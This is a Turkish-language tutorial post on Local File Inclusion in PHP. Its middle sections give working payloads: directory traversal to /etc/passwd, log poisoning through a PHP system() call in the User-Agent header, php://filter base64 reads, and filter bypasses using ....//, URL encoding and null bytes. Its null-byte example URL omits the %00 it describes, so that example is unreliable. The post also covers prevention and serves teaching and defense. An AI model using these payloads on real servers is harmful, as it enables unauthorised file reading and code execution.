Local File Inclusion (LFI)

File Inclusion​

File Inclusion zafiyetleri, web uygulamalarında oldukça yaygın olarak bulunabilen ve tehlikeli güvenlik açıklarından biridir. Bu zafiyetler, bir web uygulamasının kullanıcı girdilerini uygun şekilde doğrulamadığında ortaya çıkar ve saldırganların sunucu üzerindeki dosyalara erişmesine veya uzaktan zararlı dosyalar dahil etmesine olanak tanır.

File Inclusion zafiyetleri iki ana kategoriye ayrılır. Bu yazıda LFI'dan bahsedeceğim.

1. Local File Inclusion (LFI)

Local File Inclusion (LFI), saldırganların web uygulamalarında yerel dosyaları dahil ederek sunucu üzerinde hassas bilgileri elde etmelerini sağlayan bir güvenlik açığıdır. Bu zafiyet, genellikle kullanıcıdan alınan dosya adı veya yol bilgisi girdilerinin doğrulanmaması veya yetersiz şekilde kontrol edilmesi sonucunda ortaya çıkar.

1. Remote File Inclusion (RFI)

Saldırganların uzaktaki bir sunucudan dosya dahil ederek zararlı kod çalıştırmasına olanak tanır. Bu yöntem, saldırganların kendi sunucularından zararlı dosyalar yüklemesine ve sunucunun kontrolünü ele geçirmesine olanak tanır.

File Inclusion Zafiyetlerinin Nedenleri​

File Inclusion zafiyetleri, genellikle geliştiricilerin kullanıcı girdilerini yetersiz şekilde doğrulaması veya filtrelemesi sonucu ortaya çıkar. Web uygulamaları, dinamik olarak belirli dosyaları dahil etmek için kullanıcıdan dosya adı veya yol bilgisi alabilir. Eğer bu girdiler uygun şekilde kontrol edilmezse, saldırganlar bu girdileri manipüle ederek istenmeyen dosyalara erişebilir veya zararlı dosyaları sunucuya dahil edebilir.

Örnek

PHP ile yazılmış bir web uygulamasının aşağıdaki gibi bir dosya dahil etme işlemi gerçekleştirdiğini varsayalım:

<?php    $file = $_GET['page'];    include($file);?>

Genişletmek için tıkla ...

Bu örnekte, kullanıcıdan alınan

Page parametresi doğrudan include fonksiyonuna aktarılıyor. Eğer kullanıcı page=../../../etc/passwd gibi bir değer gönderirse, uygulama sunucu üzerindeki passwd dosyasını dahil edebilir. Bu, saldırganın sunucunun yapılandırma dosyalarına ve diğer hassas bilgilerine erişim sağlamasına olanak tanır.

File Inclusion Zafiyetlerinden Korunma​

File Inclusion zafiyetlerinden korunmanın en etkili yolu, kullanıcı girdilerini doğru şekilde doğrulamak ve filtrelemektir. Bunun yanı sıra, aşağıdaki güvenlik önlemleri de alınmalıdır:

• Girdi Doğrulama ve Filtreleme: Kullanıcı girdilerini sıkı bir şekilde doğrulamak ve potansiyel zararlı girdileri filtrelemek önemlidir.
• Dosya Yolunu Sabitleme: Dahil edilecek dosyaların yollarını sabitlemek ve sadece belirli dizinler içerisindeki dosyaların dahil edilmesine izin vermek.
• Güvenlik Duvarları ve WAF Kullanımı: Web Uygulama Güvenlik Duvarı (WAF) gibi araçlar kullanarak zararlı istekleri tespit etmek ve engellemek.
• Güvenlik Güncellemeleri: Web uygulamalarını ve sunucu yazılımlarını düzenli olarak güncelleyerek bilinen güvenlik açıklarını kapatmak.

Local File Inclusion (LFI)​

LFI zafiyetleri, genellikle aşağıdaki gibi dinamik dosya dahil etme işlemlerinde ortaya çıkar:

<span>&lt;?php</span><span>&nbsp;$file = $_GET['page'];</span><span> include($file);</span><span>?&gt;</span>

Genişletmek için tıkla ...

Bu örnekte,

page parametresi kullanıcıdan alınır ve doğrudan include fonksiyonuna aktarılır. Kullanıcı,

page=../../../../etc/passwd gibi bir değer gönderirse, sunucu üzerindeki /etc/passwd dosyasını dahil edebilir. Bu dosya, sistem kullanıcıları hakkında kritik bilgileri içerebilir ve saldırganın sunucuya yetkisiz erişim sağlamasına yardımcı olabilir.

LFI payloadlarında kullanılan ../ ifadesi Linux sistemlerde bir önceki dizini işaret eder. Bizim amacımız /etc/passwd dosyasını okumak olabilir ancak web uygulamasında bu dosyayı /var/www/html/project gibi bir dizinde arayabilir. Dolayısıyla biz payloadımıza bir çok kez ../ifadesini ekleyerek öncelikle Linux sistemin kök dizinine (/) erişip ardından /etc/passwd dosyasını okumaya çalışırız.

LFI Saldırıları ve Senaryoları​

Log Dosyalarına Erişim​

Web sunucuları genellikle erişim ve hata günlükleri tutar. Saldırganlar, bu log dosyalarına erişerek önemli bilgiler elde edebilirler.

<span>http://4oca4.com/index.php?page=../../../../var/log/apache2/access.log</span>

Genişletmek için tıkla ...

PHP Kod Enjeksiyonu (Log Poisoning)​

LFI zafiyeti, saldırganların zararlı PHP kodlarını çalıştırmasına da olanak tanıyabilir. Örneğin, web sunucusunun erişim loglarına bir PHP kodu eklenmişse, bu kod LFI zafiyeti kullanılarak çalıştırılabilir.

Aşağıda User-Agent alanına enjekte edilmiş PHP kodu bulunan bir HTTP isteği bulunuyor.

GET /index.php HTTP/1.1

User-Agent: &lt;?php system('ls'); ?&gt;

Genişletmek için tıkla ...

Bu isteği gönderdikten sonra tarayıcıdan access.log dosyasını görüntüleyelim.

http://4oca4.com/index.php?page=../../../../var/log/apache2/access.log

Genişletmek için tıkla ...

Bu durumda, zararlı PHP kodu sunucu üzerinde çalıştırılır ve saldırgan sunucu dosya sistemindeki dosyaları listeleyebilir.

PHP://filter ile Dosya Okuma​

PHP'nin php://filter özelliği, dosya içeriğinin okunması sırasında belirli filtrelerin uygulanmasına olanak tanır. Bu özellikle bir dosyanın Base64 ile kodlanarak okunması, dosya içeriğini direkt olarak okumanın mümkün olmadığı durumlarda kullanışlı olabilir. Bu, özellikle web uygulamalarında hata mesajlarında veya bazı log dosyalarında yararlı olabilir.

1. Payload:

<span>php://filter/convert.base64-encode/resource=home.php</span>

<span>http://4oca4.com/index.php?page=php://filter/convert.base64-encode/resource=home.php</span>

Genişletmek için tıkla ...

1. Çıktı:

PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkIjsKCj8+

Genişletmek için tıkla ...

1. Base64 Kodunu Çözme:

echo 'PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkIjsKCj8+' | base64 --decode

Genişletmek için tıkla ...

1. Base64 Kodununun Çıktısı:

&lt;?php echo "hello world"; ?&gt;

Genişletmek için tıkla ...

Bypass Yöntemleri​

Local File Inclusion (LFI) zafiyetlerine karşı birçok web uygulaması çeşitli koruma mekanizmaları uygular. Ancak, bu korumalar genellikle yeterli değildir ve çeşitli bypass teknikleri kullanılarak aşılabilir.

1. Dizin Geçişi Filtreleri (Path Traversal Filters)​

Bazı web uygulamaları, dizin geçişlerini (../) engellemek için basit bir arama ve değiştirme filtresi kullanır. Bu filtreler, ../ alt dizelerini kaldırarak dizin geçiş saldırılarını önlemeyi amaçlar.

Örnek Kod

$language = str_replace('../', '', $_GET['language']);

Genişletmek için tıkla ...

Bu kod, ../ alt dizelerini kaldırarak dizin geçişini engellemeyi hedefler. Ancak, bu filtreler genellikle yetersizdir çünkü girdiyi sadece bir kez işler ve çıktıya yeniden filtre uygulamaz. Bu nedenle, ....// gibi girdiler kullanarak filtreyi aşmak mümkündür.

Bypass Yöntemi

<span>https://4oca4.com/index.php?language=....//....//....//....//etc/passwd</span>

Genişletmek için tıkla ...

• Gönderdiğimiz Payload:

....//....//....//....//etc/passwd

Genişletmek için tıkla ...

• Filtrelendikten Sonraki Hali:

../../../../etc/passwd

Genişletmek için tıkla ...

Bu şekilde, ../ alt dizeleri kaldırıldıktan sonra hala dizin geçişi gerçekleştirebiliriz. Benzer şekilde, ..././ veya ..../ gibi diğer dizin geçiş alt dizeleri de kullanılabilir.

2. Kodlama (Encoding)​

Bazı web uygulamaları, LFI ile ilgili karakterleri içeren girdileri engelleyen filtreler kullanır. Ancak, bu filtreler URL kodlama kullanılarak aşılabilir. URL kodlama, kötü karakterleri içermeyen ancak yine de çözülerek dizin geçişi sağlayacak bir giriş sağlar.Örneğin, . ve / karakterlerini içeren girdiler engelleniyorsa, ../ dizesini

• %2e%2e%2f

olarak URL kodlayabiliriz.

• https://4oca4.com/index.php language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64

Bu şekilde, URL encoding ile kodlanmış LFI payloadımız, sunucu tarafındaki filtreyi aşarak dizin geçişi gerçekleştirir ve /etc/passwd dosyasını okuyabiliriz.

Not: URL encoding ve decoding işlemleri için kullanılabilecek birçok çevrimiçi site vardır, buralardan yararlanılabilir.

3. İzin Verilen Yollar (Approved Paths)​

Bazı web uygulamaları, dosyanın belirli bir dizin altında olmasını sağlamak için düzenli ifadeler (regex) kullanır.

Örnek

if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {&nbsp;&nbsp;&nbsp; include($_GET['language']);} else {&nbsp;&nbsp;&nbsp; echo 'Invalid path specified!';}

Genişletmek için tıkla ...

Yukarıdaki kod parçacığında, kullanıcıdan gelen get parametresinin

language

kelimesi ile başlayıp başlamadığı kontrol ediliyor. Bu filtreyi aşmak için, sunucu tarafından izin verilen yol ile başlamalı ve ardından ../ kullanarak kök dizine dönmeliyiz:

https://4oca4.com/index.php?language=./languages/../../../../etc/passwd

Bu yöntem, izin verilen yolu kullanarak filtreyi aşar ve dizin geçişi gerçekleştirir.

4. Null Byte Enjeksiyonu​

Bazı web uygulamaları, girdi dizisine belirli bir uzantı ekleyerek (örneğin .php) dosya dahil etme işlemini sınırlar. Ancak, eski PHP sürümlerinde bu tür filtreler null byte (%00) enjeksiyonu kullanılarak aşılabilir.

Null byte, dizeyi sonlandırır ve sonraki karakterleri yok sayar.

Null Byte Karakteri: %00

https://4oca4.com/index.php?language=/etc/passwd

Bu şekilde, .php uzantısı yok sayılır ve /etc/passwd dosyası dahil edilir.

Önleme Yöntemleri

File Inclusion zafiyetleri, özellikle web uygulamalarında ciddi güvenlik açıklarına neden olabilir. Bu zafiyetlerin önlenmesi için çeşitli yöntemler ve uygulamalar mevcuttur. Bu bölümde, File Inclusion zafiyetlerinden korunmak için alınabilecek önlemleri detaylı bir şekilde ele alacağız.

1. Input Validation (Girdi Doğrulama)

Girdi doğrulama, kullanıcı tarafından sağlanan verilerin güvenilir olup olmadığını kontrol etmeyi içerir. File Inclusion zafiyetlerini önlemek için aşağıdaki girdi doğrulama teknikleri uygulanabilir.

• Beyaz Liste (Whitelist) Kullanımı: Yalnızca belirli ve güvenli dosyaların yüklenmesine izin verin. Beyaz liste, izin verilen dosya adlarını veya yollarını içerir.
• Regex Kullanımı: Dosya yollarını ve adlarını belirli bir desenle eşleştirerek doğrulayın.
• Uzantı Kontrolü: Yalnızca belirli dosya uzantılarına izin verin (örneğin, .pdf, .jpg).

1. Path Traversal Önleme

Path traversal saldırıları, dizin geçişi yaparak yetkisiz dosyalara erişim sağlar. Bu tür saldırıları önlemek için aşağıdaki önleme teknikleri uygulanabilir.

• Gerçek Yol (Realpath) Kullanımı: Dosya yolunu realpath() gibi fonksiyonlarla çözümleyin ve beklenen dizin içinde olup olmadığını kontrol edin.
• Dizin Sabitleme (Chroot Jail): Uygulamayı belirli bir dizinle sınırlayarak dışarıya erişimi engelleyin.

1. Dosya Dahil Etme Kısıtlamaları

Dosya dahil etme işlemlerini güvenli hale getirmek için aşağıdaki teknikler uygulanabilir.

• Tam Yol (Full Path) Kullanımı: Dosya adlarını tam yollarıyla belirtin ve dinamik girdi yerine sabit yollar kullanın.
• Dış Kaynak Kısıtlamaları: Dış kaynaklardan dosya dahil edilmesini engelleyin. Özellikle, URL tabanlı dosya dahil etme işlemlerine izin vermeyin.

1. Dosya İzinleri ve Güvenlik

Dosya izinleri ve güvenlik ayarları, dosya erişimlerini kontrol etmek için önemlidir.

• Dosya İzinleri: Yalnızca gerekli izinlere sahip dosyaların dahil edilmesini sağlayın. Dosya izinlerini chmod ile ayarlayın ve minimum izinleri kullanın.(Dosya izinleri ile ilgili yazıma da buradan ulaşabilirsiniz.)
• Dosya Sahipliği: Dosya sahibi ve grup sahipliğini kontrol edin ve sadece yetkili kullanıcıların dosya erişimini sağlayın.

1. Kod İnceleme ve Güvenlik Testleri

Düzenli kod incelemeleri ve güvenlik testleri, potansiyel zafiyetleri erken aşamada tespit etmeye yardımcı olur.

• Kod İnceleme: Manuel ve otomatik kod inceleme araçları kullanarak kod güvenliğini kontrol edin.
• Sızma Testleri: Düzenli sızma testleri yaparak file inclusion zafiyetlerini tespit edin ve düzeltin.

1. Güvenlik Duvarları ve WAF (Web Application Firewall)

Web uygulama güvenlik duvarları (WAF), file inclusion saldırılarını tespit edip engelleyebilir.

• WAF Kullanımı: ModSecurity gibi WAF araçları kullanarak file inclusion saldırılarını otomatik olarak engelleyin.
• Güvenlik Kuralları: Özelleştirilmiş güvenlik kuralları oluşturarak belirli saldırı türlerini hedefleyin ve engelleyin.

Ellerinize Sağlık